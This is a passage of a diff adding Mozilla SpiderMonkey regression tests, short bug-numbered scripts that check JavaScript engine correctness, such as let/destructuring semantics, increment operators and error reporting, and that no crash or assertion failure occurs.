+ time2 = Date.now() - time2;
+ print(time+" "+time2);
+ if (time > 2 && time > time2 * 5)
+ throw "A possible leak is observed";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-406769.js b/js/src/tests/non262/regress/regress-406769.js
new file mode 100644
index 0000000000..3a9eee80d0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-406769.js
@@ -0,0 +1,152 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 406769;
+var summary = 'Regression from bug 398609 caused infinite loop';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+var a0;
+var a1;
+var a2;
+var a3;
+var a4;
+var a5;
+var a6;
+var a7;
+var a8;
+var a9;
+var a10;
+var a11;
+var a12;
+var a13;
+var a14;
+var a15;
+var a16;
+var a17;
+var a18;
+var a19;
+var a20;
+var a21;
+var a22;
+var a23;
+var a24;
+var a25;
+var a26;
+var a27;
+var a28;
+var a29;
+var a30;
+var a31;
+var a32;
+var a33;
+var a34;
+var a35;
+var a36;
+var a37;
+var a38;
+var a39;
+var a40;
+var a41;
+var a42;
+var a43;
+var a44;
+var a45;
+var a46;
+var a47;
+var a48;
+var a49;
+var a50;
+var a51;
+var a52;
+var a53;
+var a54;
+var a55;
+var a56;
+var a57;
+var a58;
+var a59;
+var a60;
+var a61;
+var a62;
+var a63;
+var a64;
+var a65;
+var a66;
+var a67;
+var a68;
+var a69;
+var a70;
+var a71;
+var a72;
+var a73;
+var a74;
+var a75;
+var a76;
+var a77;
+var a78;
+var a79;
+var a80;
+var a81;
+var a82;
+var a83;
+var a84;
+var a85;
+var a86;
+var a87;
+var a88;
+var a89;
+var a90;
+var a91;
+var a92;
+var a93;
+var a94;
+var a95;
+var a96;
+var a97;
+var a98;
+var a99;
+var a100;
+var a101;
+var a102;
+var a103;
+var a104;
+var a105;
+var a106;
+var a107;
+var a108;
+var a109;
+var a110;
+var a111;
+var a112;
+var a113;
+var a114;
+var a115;
+var a116;
+var a117;
+var a118;
+var a119;
+var a120;
+var a121;
+var a122;
+var a123;
+var a124;
+var a125;
+for (var a126 = 1; a126 < ([1,2,3]).length -1; ++a126)
+ 1;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-407024.js b/js/src/tests/non262/regress/regress-407024.js
new file mode 100644
index 0000000000..dc0fb45ee5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-407024.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407024;
+var summary = 'Do not assert pn3->pn_val.isNumber() || pn3->pn_val.isString() || pn3->pn_val.isBoolean()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+eval("function f(x) { switch (x) { case Array: return 1; }}");
+var result = f(Array);
+if (result !== 1)
+ throw "Unexpected result: "+String(result);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-407727-01.js b/js/src/tests/non262/regress/regress-407727-01.js
new file mode 100644
index 0000000000..f92113f5e2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-407727-01.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407727;
+var summary = 'let Object global redeclaration';
+var actual = '';
+var expect = 1;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+let Object = 1;
+actual = Object;
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-407727-02.js b/js/src/tests/non262/regress/regress-407727-02.js
new file mode 100644
index 0000000000..bcc7a38ab8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-407727-02.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 407727;
+var summary = 'let Object block redeclaration';
+var actual = '';
+var expect = 1;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+{
+ let Object = 1;
+ actual = Object;
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-410649.js b/js/src/tests/non262/regress/regress-410649.js
new file mode 100644
index 0000000000..2f8c552ea4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-410649.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 410649;
+var summary = 'function statement and destructuring parameter name clash';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(a) {
+ function a() { }
+ return a;
+ }
+
+ function g([a, b]) {
+ function a() { }
+ return a;
+ }
+
+ expect = 'function';
+ actual = typeof f(1);
+ reportCompare(expect, actual, "type for simple parameter case");
+
+ expect = 'function';
+ actual = typeof g([1, 2]);
+ reportCompare(expect, actual, "type for destructuring parameter case");
+}
diff --git a/js/src/tests/non262/regress/regress-410852.js b/js/src/tests/non262/regress/regress-410852.js
new file mode 100644
index 0000000000..98bfb99046
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-410852.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 410852;
+var summary = 'Valgrind errors in jsemit.cpp';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('Note: You must run this test under valgrind to determine if it passes');
+
+ try
+ {
+ eval('function(){if(t)');
+ }
+ catch(ex)
+ {
+ assertEq(ex instanceof SyntaxError, true, "wrong error: " + ex);
+ }
+
+ reportCompare(true, true, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-414553.js b/js/src/tests/non262/regress/regress-414553.js
new file mode 100644
index 0000000000..6ae0ed9a3f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-414553.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 414553;
+var summary = '';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var expected = '1,2,3,4';
+
+let a = 1, [b,c] = [2,3], d = 4;
+var actual = String([a,b,c,d]);
+
+reportCompare(expected, actual, 'destructuring assignment in let');
+
+function f() {
+ {
+ let a = 1, [b,c] = [2,3], d = 4;
+ return String([a,b,c,d]);
+ }
+}
+
+reportCompare(expected, f(), 'destructuring assignment in let inside func');
diff --git a/js/src/tests/non262/regress/regress-416737-01.js b/js/src/tests/non262/regress/regress-416737-01.js
new file mode 100644
index 0000000000..e55a5366ef
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-416737-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416737;
+var summary = 'Do not assert: *pc == JSOP_GETARG';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { (function([]){ function n(){} })(1) });
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-416737-02.js b/js/src/tests/non262/regress/regress-416737-02.js
new file mode 100644
index 0000000000..e1bb84ff30
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-416737-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416737;
+var summary = 'Do not assert: *pc == JSOP_GETARG';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function([]){ function n(){} };
+ if (typeof dis == 'function')
+ {
+ dis(f);
+ }
+ print(f);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-417893.js b/js/src/tests/non262/regress/regress-417893.js
new file mode 100644
index 0000000000..330858c0e6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-417893.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 417893;
+var summary = 'Fast natives must use JS_THIS/JS_THIS_OBJECT';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function() { var s = function(){}.prototype.toSource; s(); })();
+ }
+ catch (e)
+ {
+ assertEq(e instanceof TypeError, true,
+ "No TypeError for Object.prototype.toSource");
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-418540.js b/js/src/tests/non262/regress/regress-418540.js
new file mode 100644
index 0000000000..855ec1e593
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-418540.js
@@ -0,0 +1,51 @@
+// |reftest| skip-if(xulRuntime.shell||(xulRuntime.OS=="WINNT"&&isDebugBuild)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418540;
+var summary = 'Do not assert: OBJ_IS_NATIVE(obj)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ gDelayTestDriverEnd = true;
+ window.onload = boom;
+}
+
+function boom()
+{
+ var p;
+ var b = document.createElement("body");
+ var v = document.createElement("div");
+ b.getAttribute("id")
+ v.getAttribute("id")
+ for (p in v) { }
+ for (p in b) { }
+ b.__proto__ = [];
+ try { aC(v, null); } catch(e) { }
+ try { aC(b, null); } catch(e) { }
+
+ setTimeout(check, 1000);
+}
+
+function aC(r, n) { r.appendChild(n); }
+
+function check()
+{
+ expect = actual = 'No Crash';
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
diff --git a/js/src/tests/non262/regress/regress-418641.js b/js/src/tests/non262/regress/regress-418641.js
new file mode 100644
index 0000000000..616412eb26
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-418641.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418641;
+var summary = '++ and -- correctness';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function get_pre_check(operand, op)
+{
+ return "{\n"+
+ " "+operand+" = I;\n"+
+ " let tmp = "+op+op+operand+";\n"+
+ " if ("+operand+" !== Number(I) "+op+" 1)\n"+
+ " throw Error('"+op+op+operand+" case 1 for '+JSON.stringify(I));\n"+
+ " if (tmp !== "+operand+")\n"+
+ " throw Error('"+op+op+operand+" case 2 for '+JSON.stringify(I));\n"+
+ "}\n";
+}
+
+function get_post_check(operand, op)
+{
+ return "{\n"+
+ " "+operand+" = I;\n"+
+ " let tmp = "+operand+op+op+";\n"+
+ " if ("+operand+" !== Number(I) "+op+" 1)\n"+
+ " throw Error('"+operand+op+op+" case 1 for '+JSON.stringify(I));\n"+
+ " if (tmp !== Number(I))\n"+
+ " throw Error('"+op+op+operand+" case 2 for '+JSON.stringify(I));\n"+
+ "}\n";
+}
+
+function get_check_source(operand)
+{
+ return get_pre_check(operand, '+')+
+ get_pre_check(operand, '-')+
+ get_post_check(operand, '+')+
+ get_post_check(operand, '-');
+}
+
+var arg_check = Function('I', 'a', get_check_source('a'));
+var let_check = Function('I', 'let a;'+get_check_source('a'));
+var var_check = Function('I', 'var a;'+get_check_source('a'));
+
+var my_name;
+var my_obj = {};
+var my_index = 0;
+var name_check = Function('I', get_check_source('my_name'));
+var prop_check = Function('I', get_check_source('my_obj.x'));
+var elem_check = Function('I', get_check_source('my_obj[my_index]'));
+
+var test_values = [0 , 0.5, -0.0, (1 << 30) - 1, 1 - (1 << 30)];
+
+for (let i = 0; i != test_values.length; i = i + 1) {
+ let x = [test_values[i], String(test_values[i])];
+ for (let j = 0; j != x.length; j = j + 1) {
+ try
+ {
+ expect = actual = 'No Error';
+ let test_value = x[j];
+ arg_check(test_value, 0);
+ let_check(test_value);
+ var_check(test_value);
+ name_check(test_value);
+ prop_check(test_value);
+ elem_check(test_value);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + i + ', ' + j);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-419018.js b/js/src/tests/non262/regress/regress-419018.js
new file mode 100644
index 0000000000..43627cb677
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-419018.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419018;
+var summary = 'UMR in JSENUMERATE_INIT';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test must be run under valgrind to check if an UMR occurs in slowarray_enumerate');
+
+ try
+ {
+ function parse() {
+ var a = []; // need array init
+ a["b"] = 1; // need to set obj property
+ return a;
+ }
+ // var c; // can't declare c
+ // var d = {}; // can't add this (weird!)
+ // var d = ""; // nor this
+ var x = parse(""); // won't crash without string arg (weird!)
+ // var d = ""; // nor here
+ for (var o in x)
+ c[o]; // need to look up o in undefined object
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-419152.js b/js/src/tests/non262/regress/regress-419152.js
new file mode 100644
index 0000000000..64ab7d7380
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-419152.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419152;
+var summary = 'Shaver can not contain himself';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = [1,2,3];
+
+ a[5] = 6;
+ expect = '1,2,3,,,6:6';
+ actual = a + ':' + a.length;
+ reportCompare(expect, actual, summary + ': 1');
+
+ a = [1,2,3,4];
+ expect = 'undefined';
+ actual = a[-1] + '';
+ reportCompare(expect, actual, summary + ': 2');
+
+ a = [1,2,3];
+ a[-1] = 55;
+
+ expect = 3;
+ actual = a.length;
+ reportCompare(expect, actual, summary + ': 3');
+
+ expect = '1,2,3';
+ actual = a + '';
+ reportCompare(expect, actual, summary + ': 4');
+
+ expect = 55;
+ actual = a[-1];
+ reportCompare(expect, actual, summary + ': 5');
+
+ var s = "abcdef";
+
+ expect = 'undefined';
+ actual = s[-2] + '';
+ reportCompare(expect, actual, summary + ': 6');
+}
diff --git a/js/src/tests/non262/regress/regress-419803.js b/js/src/tests/non262/regress/regress-419803.js
new file mode 100644
index 0000000000..11d0d85440
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-419803.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 419803;
+var summary = 'Do not assert: sprop->parent == scope->lastProp';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<2; ++i) ({ p: 5, p: 7 });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-420087.js b/js/src/tests/non262/regress/regress-420087.js
new file mode 100644
index 0000000000..9184059434
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-420087.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420087;
+var summary = 'Do not assert: PCVCAP_MAKE(sprop->shape, 0, 0) == entry->vcap';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var dict;
+
+ for (var i = 0; i < 2; i++)
+ dict = {p: 1, q: 1, p:1};
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-420610.js b/js/src/tests/non262/regress/regress-420610.js
new file mode 100644
index 0000000000..a74d216553
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-420610.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420610;
+var summary = 'Do not crash with eval("this.x")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(function(){ eval("this.x") })();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-420919.js b/js/src/tests/non262/regress/regress-420919.js
new file mode 100644
index 0000000000..9ef95a9ebf
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-420919.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420919;
+var summary = 'this.u.v = 1 should report this.u is undefined';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: (this.u is undefined|can't access property "v", this.u is undefined)/;
+
+ try
+ {
+ this.u.v = 1;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-422348.js b/js/src/tests/non262/regress/regress-422348.js
new file mode 100644
index 0000000000..9a35e22d6a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-422348.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(xulRuntime.XPCOMABI.match(/x86_64|aarch64|ppc64|ppc64le|s390x|mips64|loongarch64|riscv64/)) -- On 64-bit, takes forever rather than throwing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 422348;
+var summary = 'Proper overflow error reporting';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'InternalError: allocation size overflow';
+ try
+ {
+ Array(1 << 30).sort();
+ actual = 'No Error';
+ }
+ catch (ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-424311.js b/js/src/tests/non262/regress/regress-424311.js
new file mode 100644
index 0000000000..ce4ff74c85
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-424311.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 424311;
+var summary = 'Do not assert: entry->kpc == ((PCVCAP_TAG(entry->vcap) > 1) ? (jsbytecode *) JSID_TO_ATOM(id) : cx->fp->regs->pc)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function(){(function(){ constructor=({}); })()})();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-425360.js b/js/src/tests/non262/regress/regress-425360.js
new file mode 100644
index 0000000000..6daf871022
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-425360.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(xulRuntime.shell||(xulRuntime.OS=="WINNT"&&isDebugBuild)) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 425360;
+var summary = 'Do not assert: !cx->throwing';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+function finishtest()
+{
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
+
+function throwBlah()
+{
+ throw 'blah';
+}
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+gDelayTestDriverEnd = true;
+window.onerror = null;
+setTimeout('finishtest()', 1000);
+window.onload = (function () { setInterval('throwBlah()', 0); });
+setInterval('foo(', 0);
diff --git a/js/src/tests/non262/regress/regress-426827.js b/js/src/tests/non262/regress/regress-426827.js
new file mode 100644
index 0000000000..8b80d40895
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-426827.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 426827;
+var summary = 'Do not assert: !(CodeSpec[op2].format & JOF_DEL)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('eval()=delete a;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-427798.js b/js/src/tests/non262/regress/regress-427798.js
new file mode 100644
index 0000000000..db889f3522
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-427798.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427798;
+var summary = 'js_PutBlockObject is slow';
+var actual = 'Good result';
+var expect = 'Good result';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(N)
+ {
+ for (var i = 0; i != N; ++i) {
+ var f, g;
+ {
+ let j = i + 1;
+ f = function() { j += 2; return j; }
+ if (f() != i + 3)
+ throw "Bad result";
+ }
+ if (f() != i + 5)
+ throw "Bad result";
+ {
+ let j = i + 1, k = i + 2;
+ f = function() { j += 2; k++; return j + k; }
+ if (f() != i + i + 6)
+ throw "Bad result";
+ }
+ if (f() != i + i + 9)
+ throw "Bad result";
+ }
+ }
+
+ try
+ {
+ f(20*1000);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-428366.js b/js/src/tests/non262/regress/regress-428366.js
new file mode 100644
index 0000000000..13a6699fd3
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-428366.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 428366;
+var summary = 'Do not assert deleting eval 16 times';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__proto__.x = eval;
+for (i = 0; i < 16; ++i) delete eval;
+(function w() { x = 1; })();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-433279-01.js b/js/src/tests/non262/regress/regress-433279-01.js
new file mode 100644
index 0000000000..f64223169b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-433279-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 433279;
+var summary = 'Do not assert: pn != tc->parseContext->nodeList';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var { sin, PI } = Math; sin(PI / 2);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-433279-02.js b/js/src/tests/non262/regress/regress-433279-02.js
new file mode 100644
